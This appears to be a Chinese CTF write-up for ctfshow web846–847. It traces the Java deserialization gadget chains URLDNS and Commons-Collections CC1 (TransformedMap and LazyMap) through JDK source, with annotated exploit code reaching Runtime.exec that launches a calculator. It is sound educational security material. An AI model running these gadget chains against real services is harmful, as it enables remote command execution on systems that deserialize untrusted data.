2025-ctfshow-java反序列化_846-858


web846-java反序列化之URLDNS

1.URLDNS源码分析

原理:

1
java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key  hashCode. java.net.URL  hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

所以先追踪java.util.HashMap的定义,直接到Hashmap.class,搜索readObject发现了一个重要的方法putVal

image-20250712101122256
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
    // 读取 threshold(忽略)、loadfactor 和其他隐藏属性
    s.defaultReadObject();
    reinitialize(); // 重新初始化 HashMap 的内部结构
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor); // 检查负载因子是否合法

    s.readInt();                // 读取并忽略桶的数量(buckets)
    int mappings = s.readInt(); // 读取映射的数量(即 HashMap 的大小)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings); // 检查映射数量是否合法
    else if (mappings > 0) { // 如果有映射(mappings>0),则进行初始化
        // 只在负载因子在 0.25~4.0 范围内时,才用给定的负载因子计算容量
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc)); // 计算 table 的容量
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE); // 计算阈值

        // 检查反序列化的数组类型是否安全
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; // 创建新的 table
        table = tab;

        // 读取每一个 key 和 value,并放入 HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();    // 读取 key
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();  // 读取 value
            putVal(hash(key), key, value, false, false); // 放入 HashMap
        }
    }
}

putVal会依次读取每个 key 和 value,并调用 putVal 方法插入到 HashMap。追踪一些hash函数

1
2
3
4
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里又调用了key.hashcode方法,而key此时是我们传入的 java.net.URL 对象,那么跟进到这个类的hashCode()方法看下(hashCode 方法是 java.net.URL 类中的方法。)

1
2
3
4
5
6
7
    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

当hashCode字段等于-1时会进行handler.hashCode(this)计算,所以需要跟进handler,有一个抽象类URLStreamHandler,继续跟进找到里面的hashCode方法

image-20250712103432983

image-20250712103537576
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
    int h = 0; // 初始化哈希值

    // 处理协议部分(如 http、https、ftp 等)
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // 处理主机部分
    InetAddress addr = getHostAddress(u); // 获取主机的 InetAddress 对象
    if (addr != null) {
        h += addr.hashCode(); // 如果能解析出 IP 地址,则用 IP 的 hashCode
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode(); // 否则用主机名的小写形式的 hashCode
    }

    // 处理文件部分(即路径和查询参数)
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // 处理端口部分
    if (u.getPort() == -1)
        h += getDefaultPort(); // 如果没有指定端口,用协议的默认端口
    else
        h += u.getPort(); // 否则用指定的端口

    // 处理引用部分(即 # 后面的片段)
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h; // 返回最终的哈希值
}

这里有很多函数,看看其定义与作用:

  • getProtocol()方法:其用来从url中获取协议的方法
image-20250712190332151
  • getHostAddress()方法:根据主机名获取其ip地址,其实就是一次DNS查询

  •  1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    
    protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress; // 如果已经缓存了主机地址,直接返回
    
        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null; // 如果主机名为空,返回 null
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host); // 通过主机名解析出 InetAddress,并缓存到 URL 对象
            } catch (UnknownHostException ex) {
                return null; // 如果主机名无法解析,返回 null
            } catch (SecurityException se) {
                return null; // 如果安全管理器阻止解析,返回 null
            }
        }
        return u.hostAddress; // 返回解析得到的主机地址
    }
    

文字总结一下路线就是

1
2
3
通过调用URL的hashCode方法进而调用URLStreamHandler的hashCode方法从而实现DNS查询所以只需要我们令hashCOde的值为-1就可以让后半段链子实现然后我们来看前半段

为了调用到URL中的hashCode方法我们需要借助到hashMap类的readObject方法因为在这个方法里面对key的hashCode进行了计算如果key重写了hashCode方法那么计算逻辑就是使用key的hashCode()方法所以我们可以将URL对象作为key传入hashMap中但是要想最终调用hashCode()方法就必须让URL的hashCode的值为-1因此我们可以利用反射在运行状态中操作URL的hashCode从而实现DNS查询的目的

所以总路线图就是

1
2
3
4
5
6
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

所以此题exp是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class URLDNS {
    public static void serialize(Object obj) throws IOException{
        // 创建字节输出流,用于存储序列化后的数据
        ByteArrayOutputStream data =new ByteArrayOutputStream();
        // 创建对象输出流,负责把对象写入字节流
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeObject(obj); // 序列化对象
        oos.flush();
        oos.close();
        // 用Base64编码输出序列化后的字节数据
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    };

    public static void main(String[] args) throws Exception{
        // 1. 创建URL对象
        URL url=new URL("http://68421999-595d-43ef-bbd8-f10c88147a01.challenge.ctf.show/");
        // 2. 通过反射获取URL类的hashCode字段
        Class c=url.getClass();
        Field hashcode=c.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        // hashcode.setAccessible(true);让 Java 反射机制可以访问 hashCode 这个字段,即使它是 private(私有的)或 protected(受保护的)。(Java 的安全机制默认不允许你直接访问私有字段)
        
        
        
        // 3. 把hashCode字段设置为1(避免put时触发DNS请求)
        hashcode.set(url,1);
        //4. 创建了一个可以用 URL 做 key、用整数做 value 的 HashMap(哈希表/字典),变量名叫 h。
        HashMap<URL,Integer> h = new HashMap<URL,Integer>();
        //是把 url 作为 key,1 作为 value,存入到 HashMap 里
        h.put(url,1);
        // 5. 再次把hashCode字段设置为-1(为后续反序列化时触发DNS请求做准备)
        hashcode.set(url,-1);
        // 6. 序列化HashMap并输出
        
        serialize(h);
    }
}

image-20250712203123742

Java反序列化 — URLDNS利用链分析-先知社区

Java反序列化URLDNS利用链

CTFShow-Java反序列化篇(1) - N1Rvana’s Blog

web847-利用LazyMap.get方法

JAVA安全初探(三):CC1链全分析-先知社区

JAVA反序列化——CC1链 - Infernity’s Blog

这里本来是想用cursor,但是这个cursor不会自动将commons-collections.jar自动转换为java代码,所以想看源码要自己解压,十分不方便,其次就是这个用Maven的标准模式运行不了(需要在json配置依赖,比较麻烦),但是IJ可以直接运行,奇怪的是cursor可以用极简模式,IJ不行,IJ的格式要求比较严格,还有就是IJ要单独打开项目才可以运行,所以我综合这两个一起使用

CC1链-利用TransformedMap:

入口类:Transformer类

1
2
3
public interface Transformer {
    public Object transform(Object input);
}

这个类会接受一个对象进行操作,看看这个类的实现(引用)

image-20250716211654125

1
2
3
4
5
InvokerTransformer这个类接受三个参数:方法名、参数类型、参数。并在transform方法里进行反射调用。这里三个参数都是我们可控的,完全可以任意方法调用。

更重要的是,这个类是Serializable的,可以被序列化。

所以这个类就是我们链子的终点。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//含参构造器,我们在外部调用类时需要用到
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { //参数为方法名,所调用方法的参数类型,所调用方法的参数值
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}
//重写的transform方法
public Object transform(Object input) { //接收一个对象
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();                               //可控的获取一个完整类的原型
        Method method = cls.getMethod(iMethodName, iParamTypes);    //可控的获取该类的某个特定方法
        return method.invoke(input, iArgs);                         //调用该类的方法
      //可以看到这里相当于是调用了我们熟悉的反射机制,来返回某个方法的利用值,这就是明显的利用点

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }

}

看了这个transform方法的定义,这里的参数都是可控的,那么我们就可以利用这里来调用任意类的任意方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//我们来回顾一下如何利用反射调用Runtime中的exec方法

// 获取当前 Java 虚拟机的 Runtime 实例
Runtime r = Runtime.getRuntime();

// 获取 r 这个对象的类对象(即 java.lang.Runtime 的 Class 实例)
Class c = r.getClass();

// 通过反射获取 Runtime 类中名为 "exec",参数类型为 String 的方法
Method m = c.getMethod("exec", String.class);

// 用反射调用 r(Runtime 实例)上的 exec 方法,参数是 "calc",等价于 r.exec("calc"); 作用是在 Windows 下弹出计算器
m.invoke(r, "calc");


//那么我们尝试用transform方法来调用
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); //方法名为exec,参数类型为String,参数值为calc
invokerTransformer.transform(r);



//总结:比较上面两种方式,下面的transform相当于模拟了上诉的反射过程。

这就利用了 InvokerTransformer 通过反射调用 Runtime 的 exec 方法,实现弹出计算器(calc)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package org.example;


import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1_2 {
    public static void mian(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); //方法名为exec,参数类型为String,参数值为calc
        invokerTransformer.transform(r);
    }
}
image-20250716214656825

这个类是我们链子的终点,接下来就接着往上找了,直到到达重写了readObject的类

A.第一站(寻找某个类中的某个方法调用了transform方法)

右键查找方法的调用

image-20250716221524167

这里直接看到我们需要的TransformedMap类下的checkSetValue方法

1
2
3
4
5
6
7
//我们找到该类的构造器
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    //接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer; //这里是可控的
    }
1
2
3
4
5
//找到该类的checkSetValue方法
protected Object checkSetValue(Object value) { //接受一个对象类型的参数
    return valueTransformer.transform(value);
    //返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象
}

这个构造函数是protected,所以得让它自己调用自己(本类调用),所以我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate

1
2
3
   public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
1
2
3
4
5
6
7
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);
 HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap

 Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer); 
//把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer.

我们调用这个方法,然后实例化这个类,然后接下来想办法调用checkSetValue方法

B.第二站(寻找合适的调用了checkSetValue的方法)

image-20250717105254186

只有一处调用了,就是TransformedMap的父类AbstractInputCheckedMapDecorator类里有一个MapEntry类

image-20250720110841897

image-20250720110906690
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
static class MapEntry extends AbstractMapEntryDecorator { //这里定义的是个副类MapEntry
  private final AbstractInputCheckedMapDecorator parent;

  protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
       super(entry);
       this.parent = parent;
   }
    public Object setValue(Object value) {
       value = parent.checkSetValue(value);
       return entry.setValue(value);
   }
}

Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法

image-20250717113204380

而上面副类MapEntry实际上是重写了setValue方法,它继承了AbstractMapEntryDecorator这个类,这个类中存在setValue方法

image-20250717113346012

而这个类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法,然后水到渠成地调用checkSetValue方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;


import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) {
        Runtime r=Runtime.getRuntime();

        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        // invokerTransformer.transform(r); <--- 相当于下面的代码是模拟这行代码,实现相同的功能

        HashMap<Object,Object> map=new HashMap<>();

        map.put("key","value"); //给map一个键值对,方便遍历

        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);

        for(Map.Entry entry:transformedmap.entrySet()) { //entrySet() 是 Java Map 接口中的一个方法。它的作用是:返回一个包含 Map 中所有“键值对(Entry)”的集合(Set)。通过遍历,当
            entry.setValue(r);                       //调用setValue方法,并把对象r当作对象传入,就是把 Map 里所有的 value 都改成 r
        }
    }
}

image-20250718223810360

C.第三站(追寻setValue)

接下来看看哪个方法调用了setValue。在AnnotationInvocationHandler这个类中看到有个调用了setValue方法的readObject方法

image-20250718225201193

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {

            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {           //有Map.Entry
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(                //调用setValue
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

我们发现AnnotationInvocationHandler类是可序列化的。那这里明显就是最终出口了。

image-20250718225708010

再看这个构造函数

1
2
3
4
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }
1
2
3
4
5
它接受两个参数,第一个参数是Class,它继承了Annotation,Annotation在java里是注解。即@Override

第二个参数是Map,我们可控,我们就可以把我们设计好的TransformedMap传进去。

还有一点,我们注意这个类的声明,它并没有写public,没写就是default类型。只能在它自己的包底下才能访问到。所以我们只能通过反射获取到,不能直接获取。
1
2
3
4
5
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");       //反射获取类
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);     //获取构造器,因为构造器也不是共有的,所以要用getDeclaredConstructor
constructorhandler.setAccessible(true);         //修改作用域,确保它可以访问
Object obj = constructorhandler.newInstance(Override.class,transformedmap);     //实例化它,第一个参数是注解,第二个参数是map
serialize(obj);

到这里链子基本上就完成,完整代码是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception {
        Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    //        invokerTransformer.transform(r);
        HashMap<Object,Object> map=new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
    
    /*        for(Map.Entry entry:transformedmap.entrySet()) {
                entry.setValue(r);
            }*/
    
        //反射获取AnnotationInvocationHandler类
        Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");       //反射获取类
        Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);     //获取构造器,因为构造器也不是共有的,所以要用getDeclaredConstructor
        constructorhandler.setAccessible(true);         //修改作用域,确保它可以访问
        Object obj = constructorhandler.newInstance(Override.class,transformedmap);     //实例化它,第一个参数是注解,第二个参数是map
        serialize(obj);
        unserialize("1.txt"); //反序列化
    
    
    }
    
  public static void serialize(Object object) throws Exception{
       ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
           oos.writeObject(object);
      }
        
            //定义反序列化方法
       public static void unserialize(String filename) throws Exception{
           ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
           objectInputStream.readObject();
           }
    }

但是没有弹出计算机,所以还有些问题没有解决,一起看看。

问题一:解决Runtime.getRuntime()对象不可被序列化

跟进到Runtime里看一下,发现它没有serializable接口,不能被序列化:

image-20250721203042738

运用反射来获取它的原型类,它的原型类class是存在serializable接口,可以序列化的

image-20250721204605300

我们怎么获取一个实例化对象呢,这里我们看到存在一个静态的getRuntime方法,这个方法会返回一个Runtime对象,相当于是一种单例模式:(单例模式 | 菜鸟教程

image-20250721204355201
1
2
3
4
5
Class rc=Class.*forName*("java.lang.Runtime");                 //获取类原型
Method getRuntime= rc.getDeclaredMethod("getRuntime",null);    //获取getRuntime方法,
Runtime r=(Runtime) getRuntime.invoke(null,null);              //获取实例化对象,因为该方法无无参方法,等价于Runtime r = Runtime.getRuntime();
Method exec=rc.getDeclaredMethod("exec", String.class);        //获取exec方法
exec.invoke(r,"calc");                                         //实现命令执行

那么上述这样就可以实现序列化,那么现在我们利用transform方法实现上述代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
Class rc=Class.*forName*("java.lang.Runtime");

/*Method getRuntime= rc.getDeclaredMethod("getRuntime",null);
Runtime r=(Runtime) getRuntime.invoke(null,null);
Method exec=rc.getDeclaredMethod("exec", String.class);
exec.invoke(r,"calc");*/

//利用transform方法实现上述代码

        Method getRuntime= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//这里模拟获取getRuntime方法,它的具体操作步骤类似之前

        Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
//这里模拟获取invoke方法

        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//这里模拟获取exec方法,并进行命令执行

这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:

image-20250721220704573
1
2
3
4
5
6
7
       Transformer[] transformers = new Transformer[]{
               new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
               new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
               new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
       };
       ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);          //作为最开始的输入传入,其他的都是互相嵌套而已。

image-20250721221432077

这个代码可以运行,但是替换到完整代码还是没跳计算机

问题二:解决关于两个if的问题

image-20250722212606506

打断点并调试跟进,可以发现此时memberType为空,说明这AnnotationInvocationHandler中第一个if都没进去

image-20250722212653763

这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解是没有成员变量的:

image-20250722213514764

而我们发现另一个注解:Target中有个名为value的成员变量,所以我们就可以使用这个注解,把Override换成Target:

image-20250722213607931

但是发现还是空。来仔细分析一下代码

image-20250722214200345

这里的memberValue其实是我们传入map的键值对。就是 map.put("key","value");

1
2
3
4
5
6
7
这里的name是在memberValue里找键值对里的键(这里就是key)。然后第二行,在memberTypes里看看有没有这个键,有就让memberType赋值,就不是空了。

我们刚刚改过,memberTypes = annotationType.memberTypes();这里的memberTypes的值其实是我们传入注释里的值,我们刚刚看Target注释里的值是value。所以我们需要memberValue里键值对里的键的值是value即可。

所以,我们只需要把inmap.put(“key”,”value”);改成inmap.put(“value”,”aaa”);即可。

第二个if判断键值对是否能强转,不能强转就进入。我们这里是强转不了的,所以直接进入了。

问题三:解决setValue里的value不可控的问题

其实Transformer里还有一个类,是叫ConstantTransformer

image-20250722221656274
1
2
3
4
5
6
7
8
public ConstantTransformer(Object constantToReturn) {              //接受一个对象
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;                   //返回接受的对象
}
1
2
3
所以,我们只需要在最后那个点调用的是它的transform方法,传入我们最开始的传入对象Runtime.class无论中间有什么修饰变化,它最后返回Runtime.class,然后传给InvokerTransformer反射调用来rce了。

他同样是Transformer里的,所以我们可以一并写进Transformer数组里。
1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"})
};

CC1链-利用LazyMap.get方法:

之前的CC1链是利用TransformedMap的checkSetValue方法来调用ChainedTransformer.transform

而另一种写法是利用LazyMap.get方法走动态代理来调用ChainedTransformer.transform

调用链:

image-20250724211227078

1
2
3
4
5
6
7
8
public Object get(Object key) {
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);      //这里调了factory的transform
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

也就是我们如果能控制factory的值为ChainedTransformer,就可以实现命令执行。factory的赋值语句在LazpMap的构造函数内部。

image-20250724212802046

那又是谁调用了LazyMap的get()方法呢?

AnnotationInvocationHandler类的invoke()方法中有调用:

image-20250724213755999

而这个AnnotationInvocationHandler类是一个动态代理类,特点之一就是调用该类的任意方法,都会调用器invoke()方法。

所以如果调用AnnotationInvocationHandler类的readObject()方法,该类的invoke()方法也会触发。

因此,整个的调用链也就出来了:

1
2
3
4
5
sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transfor

构造poc

从LazyMap的get()方法中可以看到,通过factory.transform(key)方式调用了transform(),所以根据CC1链的第一条,只需要控制factorychainedTransformer即可。

image-20250724215809661

factory是在LazyMap的构造函数中赋值

image-20250724215857462

而此构造函数不能直接调用,但是可以通过decorate()方法获取到:

image-20250724220115278

得到如下不完整的payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
 
// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
 
谢谢观看